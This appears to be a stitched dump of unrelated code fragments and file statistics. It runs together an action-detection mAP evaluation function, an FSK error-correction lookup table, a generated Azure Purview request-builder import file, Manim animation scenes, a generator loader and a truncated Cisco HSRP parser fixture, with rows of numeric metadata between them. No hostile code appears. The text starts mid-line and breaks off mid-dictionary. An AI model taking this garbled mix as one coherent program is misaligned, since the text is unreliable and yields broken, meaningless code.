prob.shape[1]) prob2 = np.append(prob[0, :].reshape(1, -1), prob[0:-1, :], axis=0).reshape(1, prob.shape[0], prob.shape[1]) prob3 = np.append(prob[1:, :], prob[-1, :].reshape(1, -1), axis=0).reshape(1, prob.shape[0], prob.shape[1]) prob4 = np.append(prob[0:2, :], prob[0:-2, :], axis=0).reshape(1, prob.shape[0], prob.shape[1]) prob5 = np.append(prob[2:, :], prob[-2:, :], axis=0).reshape(1, prob.shape[0], prob.shape[1]) probsmooth = np.squeeze(np.max(np.concatenate((prob1, prob2, prob3, prob4, prob5), axis=0), axis=0)) score_metrics = np.copy(probsmooth) # Assign cliff diving (5) as diving (8) if switch: switch_index = np.where(score_metrics[:, 5] > score_metrics[:, 8])[0] score_metrics[switch_index, 8] = score_metrics[switch_index, 5] # Remove ambiguous (21) valid_index = np.where(target_metrics[:, 21]!=1)[0] # Compute AP result['AP'] = OrderedDict() for cls in range(len(class_index)): if cls not in ignore_class: result['AP'][class_index[cls]] = average_precision_score( (target_metrics[valid_index, cls]==1).astype(np.int), score_metrics[valid_index, cls]) if verbose: print('{} AP: {:.5f}'.format(class_index[cls], result['AP'][class_index[cls]])) # Compute mAP result['mAP'] = np.mean(list(result['AP'].values())) if verbose: print('mAP: {:.5f}'.format(result['mAP'])) # Save if save: if not osp.isdir(save_dir): os.makedirs(save_dir) with open(osp.join(save_dir, result_file), 'w') as f: json.dump(result, f) if verbose: print('Saved the result to {}'.format(osp.join(save_dir, result_file))) return result['mAP'] def compute_result(class_index, score_metrics, target_metrics, save_dir, result_file, ignore_class=[0], save=True, verbose=False): result = OrderedDict() score_metrics = np.array(score_metrics) pred_metrics = np.argmax(score_metrics, axis=1) target_metrics = np.array(target_metrics) # Compute ACC correct = np.sum((target_metrics!=0) & (target_metrics==pred_metrics)) total = np.sum(target_metrics!=0) result['ACC'] = correct / total if verbose: print('ACC: {:.5f}'.format(result['ACC'])) # Compute confusion matrix result['confusion_matrix'] = \ confusion_matrix(target_metrics, pred_metrics).tolist() # Compute AP result['AP'] = OrderedDict() for cls in range(len(class_index)): if cls not in ignore_class: result['AP'][class_index[cls]] = average_precision_score( (target_metrics==cls).astype(np.int), score_metrics[:, cls]) if verbose: print('{} AP: {:.5f}'.format(class_index[cls], result['AP'][class_index[cls]])) # Compute mAP result['mAP'] = np.mean(list(result['AP'].values())) if verbose: print('mAP: {:.5f}'.format(result['mAP'])) # Save if save: if not osp.isdir(save_dir): os.makedirs(save_dir) with open(osp.join(save_dir, result_file), 'w') as f: json.dump(result, f) if verbose: print('Saved the result to {}'.format(osp.join(save_dir, result_file))) return result['mAP']
42.44918
126
0.580057
1,741
12,947
4.129236
0.094773
0.06343
0.025038
0.035471
0.899569
0.892614
0.87926
0.879121
0.879121
0.865489
0
0.025309
0.22484
12,947
304
127
42.588816
0.691012
0.098401
0
0.832558
0
0
0.049772
0.013425
0
0
0
0
0
1
0.027907
false
0
0.032558
0
0.088372
0.060465
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
22772ee37968bd4754ee18b20fae22c39aecf717
1,159
py
Python
src/ecc.py
pbusenius/FSK200Bd1000Hz
cc73be177ed04ae8df1e5ad4f19b9a5662e37c04
[ "MIT" ]
null
null
null
src/ecc.py
pbusenius/FSK200Bd1000Hz
cc73be177ed04ae8df1e5ad4f19b9a5662e37c04
[ "MIT" ]
null
null
null
src/ecc.py
pbusenius/FSK200Bd1000Hz
cc73be177ed04ae8df1e5ad4f19b9a5662e37c04
[ "MIT" ]
null
null
null
import numpy as np index_ecc_lut = [ [0, 0, 0, 0, 0], [1, 0, 0, 1, 1], [1, 0, 1, 0, 1], [0, 0, 1, 1, 0], [1, 1, 0, 0, 1], [0, 1, 0, 1, 0], [0, 1, 1, 0, 0], [1, 1, 1, 1, 1], [1, 0, 1, 1, 0], [0, 0, 1, 0, 1], [0, 0, 0, 1, 1], [1, 0, 0, 0, 1], [0, 1, 1, 1, 1], [1, 1, 1, 0, 0], [1, 1, 0, 1, 0], [0, 1, 0, 0, 1], [1, 1, 1, 1, 0], [0, 1, 1, 0, 1], [0, 1, 0, 1, 1], [1, 1, 0, 0, 0], [0, 0, 1, 1, 1], [1, 0, 1, 0, 0], [1, 0, 0, 1, 0], [0, 0, 0, 0, 1], [0, 1, 0, 0, 0], [1, 1, 0, 1, 1], [1, 1, 1, 0, 1], [0, 1, 1, 1, 0], [1, 0, 0, 0, 1], [0, 0, 0, 1, 0], [0, 0, 1, 0, 0], [1, 0, 1, 1, 1], [1, 1, 0, 0, 0], [0, 1, 0, 1, 1], [0, 1, 1, 0, 1], [1, 1, 1, 1, 0], [0, 0, 0, 0, 1], [1, 0, 0, 1, 0], [1, 0, 1, 0, 0], [0, 0, 1, 1, 1], [0, 1, 1, 1, 0], [1, 1, 1, 0, 1], [1, 1, 0, 1, 1], [0, 1, 0, 0, 0], [1, 0, 1, 1, 1], [0, 0, 1, 0, 0], [0, 0, 0, 1, 0], [1, 0, 0, 0, 1], [0, 0, 1, 1, 0], [1, 0, 1, 0, 1], [1, 0, 0, 1, 1], [0, 0, 0, 0, 0], [1, 1, 1, 1, 1], [0, 1, 1, 0, 1], ] class ECC: def __init__(self): pass @staticmethod def check(index, index_ecc): return np.array_equal(index_ecc, index_ecc_lut[index])
50.391304
105
0.349439
299
1,159
1.317726
0.063545
0.350254
0.274112
0.192893
0.685279
0.685279
0.685279
0.65736
0.626904
0.545685
0
0.337079
0.308887
1,159
22
106
52.681818
0.154806
0
0
0
0
0
0
0
0
0
0
0
0
1
0.111111
false
0.055556
0.055556
0.055556
0.277778
0
0
0
1
null
1
1
1
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
7
3f50d3a43b150a933a50624d0055830ceebfd312
8,016
py
Python
sdk/purview/azure-purview-catalog/azure/purview/catalog/rest/glossary/__init__.py
rsdoherty/azure-sdk-for-python
6bba5326677468e6660845a703686327178bb7b1
[ "MIT" ]
3
2020-06-23T02:25:27.000Z
2021-09-07T18:48:11.000Z
sdk/purview/azure-purview-catalog/azure/purview/catalog/rest/glossary/__init__.py
rsdoherty/azure-sdk-for-python
6bba5326677468e6660845a703686327178bb7b1
[ "MIT" ]
510
2019-07-17T16:11:19.000Z
2021-08-02T08:38:32.000Z
sdk/purview/azure-purview-catalog/azure/purview/catalog/rest/glossary/__init__.py
rsdoherty/azure-sdk-for-python
6bba5326677468e6660845a703686327178bb7b1
[ "MIT" ]
5
2019-09-04T12:51:37.000Z
2020-09-16T07:28:40.000Z
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is regenerated. # -------------------------------------------------------------------------- try: from ._request_builders_py3 import build_list_glossaries_request from ._request_builders_py3 import build_create_glossary_request from ._request_builders_py3 import build_create_glossary_categories_request from ._request_builders_py3 import build_create_glossary_category_request from ._request_builders_py3 import build_get_glossary_category_request from ._request_builders_py3 import build_update_glossary_category_request from ._request_builders_py3 import build_delete_glossary_category_request from ._request_builders_py3 import build_partial_update_glossary_category_request from ._request_builders_py3 import build_list_related_categories_request from ._request_builders_py3 import build_list_category_terms_request from ._request_builders_py3 import build_create_glossary_term_request from ._request_builders_py3 import build_get_glossary_term_request from ._request_builders_py3 import build_update_glossary_term_request from ._request_builders_py3 import build_delete_glossary_term_request from ._request_builders_py3 import build_partial_update_glossary_term_request from ._request_builders_py3 import build_create_glossary_terms_request from ._request_builders_py3 import build_get_entities_assigned_with_term_request from ._request_builders_py3 import build_assign_term_to_entities_request from ._request_builders_py3 import build_remove_term_assignment_from_entities_request from ._request_builders_py3 import build_delete_term_assignment_from_entities_request from ._request_builders_py3 import build_list_related_terms_request from ._request_builders_py3 import build_get_glossary_request from ._request_builders_py3 import build_update_glossary_request from ._request_builders_py3 import build_delete_glossary_request from ._request_builders_py3 import build_list_glossary_categories_request from ._request_builders_py3 import build_list_glossary_categories_headers_request from ._request_builders_py3 import build_get_detailed_glossary_request from ._request_builders_py3 import build_partial_update_glossary_request from ._request_builders_py3 import build_list_glossary_terms_request from ._request_builders_py3 import build_list_glossary_term_headers_request from ._request_builders_py3 import build_import_glossary_terms_via_csv_request from ._request_builders_py3 import build_import_glossary_terms_via_csv_by_glossary_name_request from ._request_builders_py3 import build_get_import_csv_operation_status_request from ._request_builders_py3 import build_export_glossary_terms_as_csv_request from ._request_builders_py3 import build_list_terms_by_glossary_name_request except (SyntaxError, ImportError): from ._request_builders import build_list_glossaries_request # type: ignore from ._request_builders import build_create_glossary_request # type: ignore from ._request_builders import build_create_glossary_categories_request # type: ignore from ._request_builders import build_create_glossary_category_request # type: ignore from ._request_builders import build_get_glossary_category_request # type: ignore from ._request_builders import build_update_glossary_category_request # type: ignore from ._request_builders import build_delete_glossary_category_request # type: ignore from ._request_builders import build_partial_update_glossary_category_request # type: ignore from ._request_builders import build_list_related_categories_request # type: ignore from ._request_builders import build_list_category_terms_request # type: ignore from ._request_builders import build_create_glossary_term_request # type: ignore from ._request_builders import build_get_glossary_term_request # type: ignore from ._request_builders import build_update_glossary_term_request # type: ignore from ._request_builders import build_delete_glossary_term_request # type: ignore from ._request_builders import build_partial_update_glossary_term_request # type: ignore from ._request_builders import build_create_glossary_terms_request # type: ignore from ._request_builders import build_get_entities_assigned_with_term_request # type: ignore from ._request_builders import build_assign_term_to_entities_request # type: ignore from ._request_builders import build_remove_term_assignment_from_entities_request # type: ignore from ._request_builders import build_delete_term_assignment_from_entities_request # type: ignore from ._request_builders import build_list_related_terms_request # type: ignore from ._request_builders import build_get_glossary_request # type: ignore from ._request_builders import build_update_glossary_request # type: ignore from ._request_builders import build_delete_glossary_request # type: ignore from ._request_builders import build_list_glossary_categories_request # type: ignore from ._request_builders import build_list_glossary_categories_headers_request # type: ignore from ._request_builders import build_get_detailed_glossary_request # type: ignore from ._request_builders import build_partial_update_glossary_request # type: ignore from ._request_builders import build_list_glossary_terms_request # type: ignore from ._request_builders import build_list_glossary_term_headers_request # type: ignore from ._request_builders import build_import_glossary_terms_via_csv_request # type: ignore from ._request_builders import build_import_glossary_terms_via_csv_by_glossary_name_request # type: ignore from ._request_builders import build_get_import_csv_operation_status_request # type: ignore from ._request_builders import build_export_glossary_terms_as_csv_request # type: ignore from ._request_builders import build_list_terms_by_glossary_name_request # type: ignore __all__ = [ 'build_list_glossaries_request', 'build_create_glossary_request', 'build_create_glossary_categories_request', 'build_create_glossary_category_request', 'build_get_glossary_category_request', 'build_update_glossary_category_request', 'build_delete_glossary_category_request', 'build_partial_update_glossary_category_request', 'build_list_related_categories_request', 'build_list_category_terms_request', 'build_create_glossary_term_request', 'build_get_glossary_term_request', 'build_update_glossary_term_request', 'build_delete_glossary_term_request', 'build_partial_update_glossary_term_request', 'build_create_glossary_terms_request', 'build_get_entities_assigned_with_term_request', 'build_assign_term_to_entities_request', 'build_remove_term_assignment_from_entities_request', 'build_delete_term_assignment_from_entities_request', 'build_list_related_terms_request', 'build_get_glossary_request', 'build_update_glossary_request', 'build_delete_glossary_request', 'build_list_glossary_categories_request', 'build_list_glossary_categories_headers_request', 'build_get_detailed_glossary_request', 'build_partial_update_glossary_request', 'build_list_glossary_terms_request', 'build_list_glossary_term_headers_request', 'build_import_glossary_terms_via_csv_request', 'build_import_glossary_terms_via_csv_by_glossary_name_request', 'build_get_import_csv_operation_status_request', 'build_export_glossary_terms_as_csv_request', 'build_list_terms_by_glossary_name_request', ]
67.361345
111
0.830464
1,019
8,016
5.889107
0.07949
0.128312
0.22163
0.128312
0.934678
0.840693
0.797367
0.735377
0.650392
0.465589
0
0.005086
0.117016
8,016
118
112
67.932203
0.842752
0.113149
0
0
0
0
0.188367
0.188367
0
0
0
0
0
1
0
false
0
0.678899
0
0.678899
0
0
0
0
null
0
1
0
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
7
58d26534f3c3caac9ebafc75bb3bd60fe4603603
8,228
py
Python
manim2/scene/end_video.py
tigerking/manim2
93e8957e433b8e59acb5a5213a4074ee0125b823
[ "MIT" ]
null
null
null
manim2/scene/end_video.py
tigerking/manim2
93e8957e433b8e59acb5a5213a4074ee0125b823
[ "MIT" ]
null
null
null
manim2/scene/end_video.py
tigerking/manim2
93e8957e433b8e59acb5a5213a4074ee0125b823
[ "MIT" ]
null
null
null
from manim2.imports import * #set_custom_quality(800,10) class RedesEspanhol(Scene): def construct(self): self.redes_esp() def redes_esp(self): print('TODO,RedesEspanhol do nothing -- TK') pass def Xredes_esp(self): twitter = Twitter() reddits = Reddits() instagram = Instagram() patreon=Patreon() patreon[1].set_fill(BLACK) back_negro=patreon[1].copy().move_to(patreon[1]) patreon.add(back_negro) redes_s=VGroup(*[obj.set_height(2)for obj in [patreon,reddits,twitter,instagram]])\ .arrange_submobjects(RIGHT,buff=0.8) redes_s.move_to(ORIGIN) redes_f_pre=redes_s.copy() """ redes_f.arrange_submobjects( DOWN, aligned_edge=LEFT, buff=0.4 ) """ redes_f1=redes_f_pre[:2] redes_f2=redes_f_pre[2:] for redes_ in [redes_f1,redes_f2]: redes_.arrange(DOWN,buff=1.5) redes_f_pre2=VGroup(redes_f1,redes_f2).arrange(RIGHT,buff=7) redes_f=VGroup(*redes_f_pre).shift(UP*1.6) texto=VGroup( TextMobject("\\tt Theorem of Beethoven").set_color("#F96855"), TextMobject("\\tt r/ElteoremaDeBeethoven").match_color(reddits), TextMobject("\\tt @ElteoremadeB").match_color(twitter), TextMobject("\\tt ElteoremaDeBeethoven").set_color("#B52C94") ) redes_f.to_edge(LEFT).scale(0.7).shift(LEFT*0.7) for i in range(len(texto)): texto[i].scale(0.8).next_to(redes_f[i],DOWN,buff=0.2) self.play(DrawBorderThenFill(redes_s),run_time=3) self.play(ReplacementTransform(redes_s,redes_f)) self.wait(0.1) self.add_foreground_mobject(redes_f) circles=VGroup(*[Dot(redes_f[i].get_center(),color=WHITE,radius=twitter.get_width()*0.5).scale(0.9)for i in range(len(redes_f)-1)]) texto.shift(RIGHT*2) punto=Dot(redes_f.get_center()).shift(RIGHT*2) vector=punto.get_center()[0]-redes_f.get_center()[0] circles.set_fill(None,0) self.add(circles) def update(grupo): for i in range(len(grupo)): grupo[i].move_to(redes_f[i+1].get_center()) dif=(punto.get_center()[0]-grupo.get_center()[0]) grupo.set_fill(WHITE,smooth(1-dif/vector)) if i==0: redes_f[i][-1].set_fill(WHITE,smooth(1-dif/vector)) return grupo #self.play(FadeIn(circles)) self.Oldplay(redes_f.shift,RIGHT*2, OldUpdateFromFunc(circles,update), *[Escribe(texto[i])for i in range(len(texto))]) circles.set_fill(WHITE,1) self.add(circles) redes_fc=redes_f.copy() redes_fc.set_fill(opacity=0) redes_fc.set_stroke(WHITE,3) redes_fc[-1].set_stroke(BLACK,1.5) grupo_circulos=VGroup(*[Circle(color=WHITE).match_width(redes_fc[0])for x in range(4)]) c=0 for circulo in grupo_circulos: circulo.move_to(redes_fc[c].get_center()) c+=1 agradecimientos=Text("\\sc Agradecimientos\\\\ especiales a:",color=YELLOW) patreons=VGroup( Text("Guadalupe Martínez") ) agradecimientos.move_to(LEFT*3) patreons.next_to(agradecimientos,DOWN) grupo_patreon=VGroup(agradecimientos,patreons).arrange(DOWN).to_edge(DOWN) #patreons.align_on_border(DOWN,buff=0) for x in range(2): self.play( ShowCreationThenDestruction( grupo_circulos, time_width = 0.5, run_time = 2, rate_func=linear ), *[FadeIn(agradecimientos)for w in range(1) if x==0], *[Write(patreons)for w in range(1) if x==0] ) self.wait(2) cuadro_negro=Rectangle(width=FRAME_WIDTH,height=FRAME_HEIGHT).set_fill(BLACK,0).set_stroke(None,0) self.add_foreground_mobject(cuadro_negro) self.play(cuadro_negro.set_fill,None,1) self.wait(5) #----------------------------------- class RedesIngles(Scene): def construct(self): self.redes_ing() def redes_ing(self): print('TODO, RedesIngles do nothing -- TK') pass def Xredes_ing(self): twitter = Twitter() reddits = Reddits() instagram = Instagram() patreon=Patreon() patreon[1].set_fill(BLACK) back_negro=patreon[1].copy().move_to(patreon[1]) patreon.add(back_negro) redes_s=VGroup(*[obj.set_height(2)for obj in [patreon,reddits,twitter,instagram]])\ .arrange_submobjects(RIGHT,buff=0.8) redes_s.move_to(ORIGIN) redes_f_pre=redes_s.copy() """ redes_f.arrange_submobjects( DOWN, aligned_edge=LEFT, buff=0.4 ) """ redes_f1=redes_f_pre[:2] redes_f2=redes_f_pre[2:] for redes_ in [redes_f1,redes_f2]: redes_.arrange(DOWN,buff=1.5) redes_f_pre2=VGroup(redes_f1,redes_f2).arrange(RIGHT,buff=7) redes_f=VGroup(*redes_f_pre).shift(UP*1.6) texto=VGroup( TextMobject("\\tt Theorem of Beethoven").set_color("#F96855"), TextMobject("\\tt r/TheoremOfBeethoven").match_color(reddits), TextMobject("\\tt @ElteoremadeB").match_color(twitter), TextMobject("\\tt ElteoremaDeBeethoven").set_color("#B52C94") ) redes_f.to_edge(LEFT).scale(0.7).shift(LEFT*0.7) for i in range(len(texto)): texto[i].scale(0.8).next_to(redes_f[i],DOWN,buff=0.2) self.play(DrawBorderThenFill(redes_s),run_time=3) self.play(ReplacementTransform(redes_s,redes_f)) self.wait(0.1) self.add_foreground_mobject(redes_f) circles=VGroup(*[Dot(redes_f[i].get_center(),color=WHITE,radius=twitter.get_width()*0.5).scale(0.9)for i in range(len(redes_f)-1)]) texto.shift(RIGHT*2) punto=Dot(redes_f.get_center()).shift(RIGHT*2) vector=punto.get_center()[0]-redes_f.get_center()[0] circles.set_fill(None,0) self.add(circles) def update(grupo): for i in range(len(grupo)): grupo[i].move_to(redes_f[i+1].get_center()) dif=(punto.get_center()[0]-grupo.get_center()[0]) grupo.set_fill(WHITE,smooth(1-dif/vector)) if i==0: redes_f[i][-1].set_fill(WHITE,smooth(1-dif/vector)) return grupo #self.play(FadeIn(circles)) self.Oldplay(redes_f.shift,RIGHT*2, OldUpdateFromFunc(circles,update), *[Escribe(texto[i])for i in range(len(texto))]) circles.set_fill(WHITE,1) self.add(circles) redes_fc=redes_f.copy() redes_fc.set_fill(opacity=0) redes_fc.set_stroke(WHITE,3) redes_fc[-1].set_stroke(BLACK,1.5) grupo_circulos=VGroup(*[Circle(color=WHITE).match_width(redes_fc[0])for x in range(4)]) c=0 for circulo in grupo_circulos: circulo.move_to(redes_fc[c].get_center()) c+=1 agradecimientos=Text("\\sc Special thanks to:",color=YELLOW) patreons=VGroup( Text("Guadalupe Martínez") ) agradecimientos.move_to(LEFT*3) patreons.next_to(agradecimientos,DOWN) grupo_patreon=VGroup(agradecimientos,patreons).arrange(DOWN).to_edge(DOWN) #patreons.align_on_border(DOWN,buff=0) for x in range(2): self.play( ShowCreationThenDestruction( grupo_circulos, time_width = 0.5, run_time = 2, rate_func=linear ), *[FadeIn(agradecimientos)for w in range(1) if x==0], *[Write(patreons)for w in range(1) if x==0] ) self.wait(2) cuadro_negro=Rectangle(width=FRAME_WIDTH,height=FRAME_HEIGHT).set_fill(BLACK,0).set_stroke(None,0) self.add_foreground_mobject(cuadro_negro) self.play(cuadro_negro.set_fill,None,1) self.wait(5)
37.230769
139
0.589329
1,091
8,228
4.250229
0.135655
0.04917
0.015527
0.018978
0.948027
0.948027
0.924736
0.924736
0.924736
0.924736
0
0.029436
0.273335
8,228
221
140
37.230769
0.746111
0.022727
0
0.881356
0
0
0.0487
0.002805
0
0
0
0
0
1
0.045198
false
0.011299
0.00565
0
0.073446
0.011299
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
450d417168ee8d9695c3d2b5654f63737fcf638e
822
py
Python
autopandas_v2/generators/utils.py
chyanju/autopandas
16080ad12f0e8e7b0a614671aea1ed57b3fed7fe
[ "BSD-3-Clause" ]
16
2019-08-13T02:49:44.000Z
2022-02-08T03:14:34.000Z
autopandas_v2/generators/utils.py
chyanju/autopandas
16080ad12f0e8e7b0a614671aea1ed57b3fed7fe
[ "BSD-3-Clause" ]
2
2020-09-25T22:40:40.000Z
2022-02-09T23:42:53.000Z
autopandas_v2/generators/utils.py
chyanju/autopandas
16080ad12f0e8e7b0a614671aea1ed57b3fed7fe
[ "BSD-3-Clause" ]
3
2021-07-06T10:30:36.000Z
2022-01-11T23:21:31.000Z
from typing import Dict from autopandas_v2.generators.base import BaseGenerator from autopandas_v2.utils.misc import get_all_defined_classes_recursive def load_generators() -> Dict[str, BaseGenerator]: generators: Dict[str, BaseGenerator] = {} import autopandas_v2.generators.specs_compiled as gens for name, cls in get_all_defined_classes_recursive(gens): if issubclass(cls, BaseGenerator): generators[name] = cls() return generators def load_randomized_generators() -> Dict[str, BaseGenerator]: generators: Dict[str, BaseGenerator] = {} import autopandas_v2.generators.ml.traindata.specs_compiled as gens for name, cls in get_all_defined_classes_recursive(gens): if issubclass(cls, BaseGenerator): generators[name] = cls() return generators
32.88
71
0.743309
99
822
5.959596
0.333333
0.081356
0.115254
0.20339
0.771186
0.722034
0.722034
0.722034
0.722034
0.722034
0
0.005908
0.176399
822
24
72
34.25
0.865583
0
0
0.588235
0
0
0
0
0
0
0
0
0
1
0.117647
true
0
0.294118
0
0.529412
0
0
0
0
null
0
0
1
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
1
0
0
8
4540b328904e3cf9c61eda46870057af16f5a5a5
27,884
py
Python
pkgs/ops-pkg/src/genie/libs/ops/hsrp/iosxr/tests/hsrp_output.py
miott/genielibs
6464642cdd67aa2367bdbb12561af4bb060e5e62
[ "Apache-2.0" ]
94
2018-04-30T20:29:15.000Z
2022-03-29T13:40:31.000Z
pkgs/ops-pkg/src/genie/libs/ops/hsrp/iosxr/tests/hsrp_output.py
miott/genielibs
6464642cdd67aa2367bdbb12561af4bb060e5e62
[ "Apache-2.0" ]
67
2018-12-06T21:08:09.000Z
2022-03-29T18:00:46.000Z
pkgs/ops-pkg/src/genie/libs/ops/hsrp/iosxr/tests/hsrp_output.py
miott/genielibs
6464642cdd67aa2367bdbb12561af4bb060e5e62
[ "Apache-2.0" ]
49
2018-06-29T18:59:03.000Z
2022-03-10T02:07:59.000Z
class HsrpOutput(object): # 'show hsrp detail' output showHsrpDetailOutput = \ { 'GigabitEthernet0/0/0/0': { 'address_family': { 'ipv4': { 'version': { 1: { 'groups': { 0: { 'active_ip_address': 'unknown', 'active_router': 'unknown', 'bfd': { 'address': '10.1.1.1', 'interface_name': 'GigabitEthernet0/0/0/1', 'state': 'inactive' }, 'group_number': 0, 'hsrp_router_state': 'init', 'preempt': True, 'priority': 100, 'standby_ip_address': 'unknown', 'standby_router': 'unknown', 'standby_state': 'stored', 'statistics': { 'last_coup_received': 'Never', 'last_coup_sent': 'Never', 'last_resign_received': 'Never', 'last_resign_sent': 'Never', 'last_state_change': 'never', 'num_state_changes': 0 }, 'timers': { 'hello_msec': 3000, 'hello_msec_flag': True, 'hold_msec': 10000, 'hold_msec_flag': True }, 'virtual_mac_address': '0000.0c07.ac00' }, 10: { 'active_ip_address': 'local', 'active_priority': 63, 'active_router': 'local', 'authentication': 'cisco123', 'group_number': 10, 'hsrp_router_state': 'active', 'num_of_slaves': 1, 'preempt': True, 'primary_ipv4_address': { 'address': '10.1.1.254' }, 'priority': 63, 'session_name': 'group10', 'standby_ip_address': 'unknown', 'standby_router': 'unknown', 'standby_state': 'reserving', 'statistics': { 'last_coup_received': 'Never', 'last_coup_sent': 'Never', 'last_resign_received': 'Never', 'last_resign_sent': 'Never', 'last_state_change': '09:36:53', 'num_state_changes': 4 }, 'timers': { 'cfgd_hello_msec': 10000, 'cfgd_hold_msec': 30000, 'hello_msec': 10000, 'hello_msec_flag': True, 'hold_msec': 30000, 'hold_msec_flag': True }, 'tracked_interfaces': { 'GigabitEthernet0/0/0/1': { 'interface_name': 'GigabitEthernet0/0/0/1', 'priority_decrement': 123 } }, 'tracked_objects': { '1': { 'object_name': '1', 'priority_decrement': 25 }, 'num_tracked_objects': 2, 'num_tracked_objects_up': 1 }, 'virtual_mac_address': '0000.0c07.ac0a' }, 20: { 'active_ip_address': 'local', 'active_priority': 100, 'active_router': 'local', 'group_number': 20, 'hsrp_router_state': 'active', 'primary_ipv4_address': { 'address': '10.1.1.128' }, 'priority': 100, 'standby_ip_address': 'unknown', 'standby_router': 'unknown', 'standby_state': 'reserving', 'statistics': { 'last_coup_received': 'Never', 'last_coup_sent': 'Never', 'last_resign_received': 'Never', 'last_resign_sent': 'Never', 'last_state_change': '09:37:52', 'num_state_changes': 4 }, 'timers': { 'cfgd_hello_msec': 111, 'cfgd_hold_msec': 333, 'hello_msec': 111, 'hello_msec_flag': True, 'hold_msec': 333, 'hold_msec_flag': True }, 'tracked_interfaces': { 'GigabitEthernet0/0/0/1': { 'interface_name': 'GigabitEthernet0/0/0/1', 'priority_decrement': 251 } }, 'tracked_objects': { 'num_tracked_objects': 1, 'num_tracked_objects_up': 1 }, 'virtual_mac_address': '0000.0c07.ac14' } }, 'slave_groups': { 30: { 'follow': 'group10', 'group_number': 30, 'hsrp_router_state': 'init', 'primary_ipv4_address': { 'address': 'unknown' }, 'priority': 100, 'standby_state': 'stored', 'virtual_mac_address': '0000.0c07.ac1e' } } } } }, 'ipv6': { 'version': { 2: { 'groups': { 10: { 'active_ip_address': 'local', 'active_priority': 100, 'active_router': 'local', 'group_number': 10, 'hsrp_router_state': 'active', 'link_local_ipv6_address': { 'address': 'fe80::205:73ff:fea0:a' }, 'priority': 100, 'standby_ip_address': 'unknown', 'standby_router': 'unknown', 'standby_state': 'reserving', 'statistics': { 'last_coup_received': 'Never', 'last_coup_sent': 'Never', 'last_resign_received': 'Never', 'last_resign_sent': 'Never', 'last_state_change': '09:37:18', 'num_state_changes': 4 }, 'timers': { 'hello_msec': 3000, 'hello_msec_flag': True, 'hold_msec': 10000, 'hold_msec_flag': True }, 'virtual_mac_address': '0005.73a0.000a' }, 20: { 'active_ip_address': 'local', 'active_priority': 100, 'active_router': 'local', 'group_number': 20, 'hsrp_router_state': 'active', 'link_local_ipv6_address': { 'address': 'fe80::205:73ff:fea0:14' }, 'priority': 100, 'standby_ip_address': 'unknown', 'standby_router': 'unknown', 'standby_state': 'reserving', 'statistics': { 'last_coup_received': 'Never', 'last_coup_sent': 'Never', 'last_resign_received': 'Never', 'last_resign_sent': 'Never', 'last_state_change': '09:37:18', 'num_state_changes': 4 }, 'timers': { 'hello_msec': 3000, 'hello_msec_flag': True, 'hold_msec': 10000, 'hold_msec_flag': True }, 'virtual_mac_address': '0005.73a0.0014' }, 30: { 'active_ip_address': 'local', 'active_priority': 100, 'active_router': 'local', 'group_number': 30, 'hsrp_router_state': 'active', 'link_local_ipv6_address': { 'address': 'fe80::205:73ff:fea0:1e' }, 'priority': 100, 'standby_ip_address': 'unknown', 'standby_router': 'unknown', 'standby_state': 'reserving', 'statistics': { 'last_coup_received': 'Never', 'last_coup_sent': 'Never', 'last_resign_received': 'Never', 'last_resign_sent': 'Never', 'last_state_change': '09:37:18', 'num_state_changes': 4 }, 'timers': { 'hello_msec': 3000, 'hello_msec_flag': True, 'hold_msec': 10000, 'hold_msec_flag': True }, 'virtual_mac_address': '0005.73a0.001e' } } } } } }, 'bfd': { 'detection_multiplier': 3, 'enabled': True, 'interval': 15 }, 'delay': { 'minimum_delay': 100, 'reload_delay': 1000 }, 'interface': 'GigabitEthernet0/0/0/0', 'redirects_disable': True, 'use_bia': False } } showHsrpDetailOutputIncomplete = \ { 'GigabitEthernet0/0/0/0': { 'address_family': { 'ipv4': { 'version': { 1: { 'groups': { 0: { 'active_ip_address': 'unknown', 'active_router': 'unknown', 'bfd': { 'address': '10.1.1.1', 'interface_name': 'GigabitEthernet0/0/0/1', 'state': 'inactive' }, 'group_number': 0, 'hsrp_router_state': 'init', 'preempt': True, 'priority': 100, 'standby_ip_address': 'unknown', 'standby_router': 'unknown', 'standby_state': 'stored', 'statistics': { 'last_coup_received': 'Never', 'last_coup_sent': 'Never', 'last_resign_received': 'Never', 'last_resign_sent': 'Never', 'last_state_change': 'never', 'num_state_changes': 0 }, 'virtual_mac_address': '0000.0c07.ac00' }, 10: { 'active_ip_address': 'local', 'active_priority': 63, 'active_router': 'local', 'authentication': 'cisco123', 'group_number': 10, 'hsrp_router_state': 'active', 'num_of_slaves': 1, 'preempt': True, 'primary_ipv4_address': { 'address': '10.1.1.254' }, 'priority': 63, 'session_name': 'group10', 'standby_ip_address': 'unknown', 'standby_router': 'unknown', 'standby_state': 'reserving', 'statistics': { 'last_coup_received': 'Never', 'last_coup_sent': 'Never', 'last_resign_received': 'Never', 'last_resign_sent': 'Never', 'last_state_change': '09:36:53', 'num_state_changes': 4 }, 'timers': { 'cfgd_hello_msec': 10000, 'cfgd_hold_msec': 30000, 'hello_msec': 10000, 'hello_msec_flag': True, 'hold_msec': 30000, 'hold_msec_flag': True }, 'tracked_interfaces': { 'GigabitEthernet0/0/0/1': { 'interface_name': 'GigabitEthernet0/0/0/1', 'priority_decrement': 123 } }, 'tracked_objects': { '1': { 'object_name': '1', 'priority_decrement': 25 }, 'num_tracked_objects': 2, 'num_tracked_objects_up': 1 }, 'virtual_mac_address': '0000.0c07.ac0a' }, 20: { 'active_ip_address': 'local', 'active_priority': 100, 'active_router': 'local', 'group_number': 20, 'hsrp_router_state': 'active', 'primary_ipv4_address': { 'address': 